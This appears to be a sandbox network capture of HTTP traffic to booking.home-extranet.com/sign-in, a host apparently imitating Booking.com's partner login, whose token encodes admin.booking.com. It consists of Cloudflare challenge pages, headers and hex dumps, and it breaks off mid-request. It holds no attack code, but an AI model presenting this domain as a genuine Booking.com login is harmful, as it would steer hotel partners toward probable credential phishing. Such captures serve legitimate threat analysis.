6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 Data Ascii: Mzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@media (prefers-color-scheme:dark){body{background-color:#222;color:#d9d9d9}}</style><meta http-equ
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 48 4f 45 74 50 5a 47 63 77 59 58 70 6c 53 31 4e 31 4f 47 35 56 5a 32 35 75 51 33 70 53 63 69 31 4d 59 6b 74 35 54 58 46 78 61 56 4e 57 61 6e 4e 73 4d 6a 56 34 57 6e 4d 36 42 46 4d 79 4e 54 5a 43 42 47 4e 76 5a 47 55 71 45 7a 43 53 69 70 75 6a 6c 4b 34 6e 4f 67 42 43 41 46 6a 64 31 4e 58 6f 73 44 49 26 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 58 38 36 51 57 6b 2e 79 5a 70 39 42 6b 31 55 76 58 37 79 67 31 73 35 5a 6d 6e 74 4e 4c 76 55 75 6e 31 6e 61 51 45 64 61 4a 59 30 2d 31 37 34 39 35 35 32 36 31 37 2d 31 2e 30 2e 31 2e 31 2d 43 61 34 2e 41 58 4f 4a 55 5a 7a 36 44 2e 46 38 5a 5a 55 70 6c 37 52 64 6e 51 4b 67 4a 6d 63 4e 49 43 4a 78 41 45 6d 5f 2e 76 38 22 2c 6d 64 3a 20 22 35 4f 71 56 41 51 51 4b 38 6f 70 6d 62 4b 4b 6e 65 75 56 72 6e 55 74 4b 30 71 57 Data Ascii: HOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI&__cf_chl_f_tk=X86QWk.yZp9Bk1UvX7yg1s5ZmntNLvUun1naQEdaJY0-1749552617-1.0.1.1-Ca4.AXOJUZz6D.F8ZZUpl7RdnQKgJmcNICJxAEm_.v8",md: "5OqVAQQK8opmbKKneuVrnUtK0qW
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 6f 59 74 4e 36 57 64 58 76 50 48 4e 51 5a 30 33 37 47 47 76 61 6d 4f 34 69 41 78 54 6d 79 31 43 52 4d 50 33 4f 75 5a 4d 4b 59 39 53 4e 62 31 79 7a 79 6b 6c 58 4f 53 70 75 4d 57 33 5a 49 5f 6e 62 4a 78 50 44 70 57 6c 66 57 32 44 79 53 74 35 71 58 48 5f 47 6c 43 76 67 31 6d 42 34 39 4b 4d 30 62 57 4f 66 30 56 45 66 71 66 51 4a 41 48 59 69 4a 68 57 36 78 4a 72 70 63 4f 50 32 44 58 6a 5a 42 33 67 77 73 57 33 61 7a 41 58 62 61 55 4c 55 37 35 57 68 52 51 31 4f 59 22 2c 6d 64 72 64 3a 20 22 51 51 6c 47 71 67 4d 49 57 51 43 4d 31 42 58 48 30 6d 59 77 53 63 57 6c 53 4e 55 38 37 33 4b 38 4d 78 6e 46 47 39 36 4c 5f 78 77 2d 31 37 34 39 35 35 32 36 31 37 2d 31 2e 32 2e 31 2e 31 2d 72 61 72 63 61 55 44 5a 73 55 4a 47 33 52 63 53 54 6f 2e 68 32 66 72 58 74 4b 38 57 47 Data Ascii: oYtN6WdXvPHNQZ037GGvamO4iAxTmy1CRMP3OuZMKY9SNb1yzyklXOSpuMW3ZI_nbJxPDpWlfW2DySt5qXH_GlCvg1mB49KM0bWOf0VEfqfQJAHYiJhW6xJrpcOP2DXjZB3gwsW3azAXbaULU75WhRQ1OY",mdrd: "QQlGqgMIWQCM1BXH0mYwScWlSNU873K8MxnFG96L_xw-1749552617-1.2.1.1-rarcaUDZsUJG3RcSTo.h2frXtK8WG
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 6a 75 79 5f 48 56 62 48 74 4b 5a 33 52 77 44 4d 4f 4c 4f 6a 4d 4a 5f 68 31 56 36 45 6a 78 43 67 39 6e 46 4e 62 51 5a 52 59 39 6e 4c 49 2e 70 37 6d 50 46 43 42 59 62 67 36 54 6d 4b 49 77 61 31 58 34 55 44 66 53 2e 44 78 59 5a 48 32 4c 51 56 48 4f 73 38 70 4e 50 47 63 74 42 6c 39 4d 78 38 75 35 65 39 44 36 69 35 54 69 38 49 6b 43 62 6a 37 61 56 54 58 74 51 45 4e 39 4f 56 56 78 31 68 6f 71 2e 36 32 4c 70 47 79 76 64 59 51 4a 75 6e 5f 62 4d 58 50 75 79 4d 66 72 2e 62 34 58 4e 41 77 64 4a 42 42 2e 47 30 62 62 42 77 7a 6e 42 39 33 74 4b 30 6d 63 57 74 6c 6f 2e 6a 45 69 59 4c 4f 31 76 41 43 6a 49 67 5f 30 38 6b 79 36 4a 75 39 46 65 42 77 45 66 4a 6c 66 70 4e 5a 63 38 74 32 32 4e 79 69 52 61 62 7a 65 79 4d 6d 6c 35 59 73 6c 77 54 78 56 54 72 66 33 4c 71 62 53 57 Data Ascii: juy_HVbHtKZ3RwDMOLOjMJ_h1V6EjxCg9nFNbQZRY9nLI.p7mPFCBYbg6TmKIwa1X4UDfS.DxYZH2LQVHOs8pNPGctBl9Mx8u5e9D6i5Ti8IkCbj7aVTXtQEN9OVVx1hoq.62LpGyvdYQJun_bMXPuyMfr.b4XNAwdJBB.G0bbBwznB93tK0mcWtlo.jEiYLO1vACjIg_08ky6Ju9FeBwEfJlfpNZc8t22NyiRabzeyMml5YslwTxVTrf3LqbSW
2025-06-10 10:50:17 UTC	1377	IN	Data Raw: 54 64 64 6f 34 48 63 58 77 61 6b 45 4b 57 42 71 47 4f 46 74 75 68 47 6e 4c 36 2e 4c 76 4d 48 43 74 6a 48 65 44 73 65 77 31 6c 7a 55 4b 5a 49 41 31 50 32 59 34 43 52 54 6a 61 35 52 52 76 72 46 48 4d 71 54 73 41 61 50 56 38 36 77 77 48 6d 62 35 45 4e 41 78 52 62 6f 61 4a 77 72 76 67 75 32 70 67 52 32 32 56 50 52 36 61 77 4c 33 58 47 64 49 35 79 65 73 32 6b 68 55 68 71 41 30 5f 54 6c 4d 32 55 59 39 35 76 77 59 42 45 6f 5a 49 6b 47 4f 30 77 4b 74 4f 6e 69 45 6c 73 70 34 5a 44 35 65 4b 68 45 45 22 7d 3b 76 61 72 20 63 70 6f 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 63 70 6f 2e 73 72 63 20 3d 20 27 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 68 2f 62 2f 6f Data Ascii: Tddo4HcXwakEKWBqGOFtuhGnL6.LvMHCtjHeDsew1lzUKZIA1P2Y4CRTja5RRvrFHMqTsAaPV86wwHmb5ENAxRboaJwrvgu2pgR22VPR6awL3XGdI5yes2khUhqA0_TlM2UY95vwYBEoZIkGO0wKtOniElsp4ZD5eKhEE"};var cpo = document.createElement('script');cpo.src = '/cdn-cgi/challenge-platform/h/b/o
2025-06-10 10:50:17 UTC	1225	OUT	GET /sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1 host: booking.home-extranet.com upgrade-insecure-requests: 1 user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "134.0.6998.36" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-fetch-site: none sec-fetch-mode: navigate sec-fetch-user: ?1 sec-fetch-dest: document accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=0, i
2025-06-10 10:50:17 UTC	1460	IN	HTTP/1.1 403 Forbidden date: Tue, 10 Jun 2025 10:50:17 GMT content-type: text/html; charset=UTF-8 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin server-timing: chlray;desc="94d84e959e6b69d0" x-content-type-options: nosniff x-frame-options: SAMEORIGIN cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 expires: Thu, 01 Jan 1970 00:00:01 GMT report-to: {"endpoints":[{"url"
2025-06-10 10:50:17 UTC	655	IN	Data Raw: 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6f 56 78 31 63 36 73 4f 69 25 32 46 73 58 63 41 75 36 32 62 67 77 35 59 39 5a 4c 68 47 63 66 39 71 4e 73 4a 43 67 58 56 55 36 42 79 72 79 56 67 4b 72 56 33 25 32 42 68 79 4d 71 7a 6c 78 6e 79 36 34 7a 7a 6c 4c 31 47 46 62 4a 54 36 63 67 79 34 6c 43 73 74 25 32 46 79 34 64 65 33 65 75 57 51 30 56 66 41 6e 39 50 69 65 4f 4c 52 66 33 77 31 66 44 68 6c 73 39 66 35 71 66 59 62 46 53 6d 76 62 25 32 42 36 52 33 77 39 63 73 48 56 75 71 31 77 38 72 77 4d 58 42 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 6e 65 6c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 Data Ascii: :"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oVx1c6sOi%2FsXcAu62bgw5Y9ZLhGcf9qNsJCgXVU6ByryVgKrV3%2BhyMqzlxny64zzlL1GFbJT6cgy4lCst%2Fy4de3euWQ0VfAn9PieOLRf3w1fDhls9f5qfYbFSmvb%2B6R3w9csHVuq1w8rwMXB"}],"group":"cf-nel","max_age":604800}nel: {"success_f
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2025-06-10 10:50:17 UTC	1460	IN	Data Raw: 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 Data Ascii: Mzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@media (prefers-color-scheme:dark){body{background-color:#222;color:#d9d9d9}}</style><meta http-equ
2025-06-10 10:50:18 UTC	1271	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=94d84e959e6b69d0 HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" accept: / sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: script referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI&__cf_chl_rt_tk=UVPIM8F3UHNpyxe1bCcF9SxDBXrhDVVwDEAgYNsNDRs-1749552617-1.0.1.1-ZiliqsjfRuwr58HcaqIGk5uw487uF2oMN1XIu6ysidc accept-encoding: identity accept-language: en-US,en;q=0.9
2025-06-10 10:50:18 UTC	866	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:18 GMT content-type: application/javascript; charset=UTF-8 content-length: 111200 cf-ray: 94d84e96ffba69d0-DFW cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IDMQXDhuYo3aCLNb%2FszsyG1YbJCBKylldjNDRRQATlYNopyueii9FaBTOJBziA15bThfUZ0gmgNNOFE8Rp8RqvLD4l2aEbn6bZdKrrtCnLfrP%2FY2Jq4dnxWlPGb4FSkKeEdtbi1D5OsOguyH"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=124386&min_rtt=121961&rtt_var=7662&sent=32&recv=17&lost=0&retrans=0&sent_bytes=23085&recv_bytes=2055&delivery_rate=119283&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=767&x=0"
2025-06-10 10:50:18 UTC	1460	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1012553954:1749550391:soVn69VQi3bZZggzdjArh3CnFHj4n4q1Hz8Q1mUUqtA/94d84e959e6b69d0/DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg HTTP/1.1 host: booking.home-extranet.com content-length: 2467 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" cf-chl-ra: 0 sec-ch-ua-mobile: ?0 sec-ch-ua-model: "" sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 content-type: text/plain;charset=UTF-8 cf-chl: DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg sec-ch-ua-platform-version: "10.0.0" accept: / origin: https://booking.home-extranet.com sec-fetch-site: same-origin sec-fetch-mode: cors sec-fetch-dest: empty referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWan
2025-06-10 10:50:18 UTC	866	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:18 GMT content-type: text/plain; charset=UTF-8 content-encoding: zstd cf-chl-gen: QnjjwOOtdPYJ0uFZ6w0ayzKP6X5DjNHHiJD+2utENro=$0dYciDLv5FFXP7pBsgMKqA== report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=izoiO3EGXGByMuCzSGJiVYxmHuUKuEAETV%2BJ5Ax7Ov0ba0BeskrbJMbcjDhdEQ2AJ9DkAA%2BMjOTevnS8ToId05vR92TC2izvQVWf%2BwfdZd3rdnCYpYFHj5HJPdpvV0ljl54Vr3Y8uequlVKm"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare cf-ray: 94d84e9a1b6069d0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=123380&min_rtt=121961&rtt_var=1295&sent=125&recv=33&lost=0&retrans=0&sent_bytes=135873&recv_bytes=5432&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=1282&x=0" content-length: 14563
2025-06-10 10:50:19 UTC	1158	OUT	GET /favicon.ico HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI accept-encoding: identity accept-language: en-US,en;q=0.9 priority: i
2025-06-10 10:50:19 UTC	1083	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:19 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84e994a5369d0-DFW set-cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu; path=/ expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:18 GMT cf-cache-status: BYPASS report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w9yf5uqafXrJRPrEgXNkWfnQ4V3tr4H%2FomrGojpPNBYvgYMkWNnb4vxEwhgzRPjy0gk9zN3wuPkJnpUaXLoiQG8vR209gdsAwjOcXYirPBQwsXqKSSHm5PrnAz18p%2FTd0iENywItIk%2FyRWgI"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129126&min_rtt=121911&rtt_var=13033&sent=139&recv=41&lost=0&retrans=0&sent_bytes=151098&recv_bytes=5432&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=1735&x=0"
2025-06-10 10:50:20 UTC	1209	OUT	GET /favicon.ico HTTP/1.1 host: booking.home-extranet.com sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua-platform-version: "10.0.0" accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 sec-fetch-site: same-origin sec-fetch-mode: no-cors sec-fetch-dest: image referer: https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
2025-06-10 10:50:20 UTC	1029	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:20 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84ea5d93f69d0-DFW expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:20 GMT cf-cache-status: BYPASS report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PXwPRY%2B0ZzAilqftxL0TtCvWm0afDJBfbjzESS%2BqBd4i4ibkIu6Q6WXOiglTU2gunqGCVJs8rgSzxpYD3%2FpCsQgUnoMV1XQU9HE9EOZzWnLg%2B4%2BW5ZAc00HB0yjR1aKov7IGwqLt8llE1Ufp"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=127459&min_rtt=121911&rtt_var=10218&sent=142&recv=44&lost=0&retrans=0&sent_bytes=151800&recv_bytes=5515&delivery_rate=396496&cwnd=255&unsent_bytes=0&cid=f0eee5f2c6f529b3&ts=3396&x=0"
2025-06-10 10:50:35 UTC	1460	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1012553954:1749550391:soVn69VQi3bZZggzdjArh3CnFHj4n4q1Hz8Q1mUUqtA/94d84e959e6b69d0/DpvVwD.Tf2lX2YvEpB8JTiH3s7ATP2tkduvAdvgBEzE-1749552617-1.2.1.1-sHznmK4yPm63a8eFH1a244Hdv40qLHIszmnVbFlMUxaGPzYbT2tpn0W7jdq1sbgg HTTP/1.1 host: booking.home-extranet.com content-length: 4819 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" cf-chl-ra: 0 sec-ch-ua-mobile: ?0 sec-ch-ua-model: "" sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 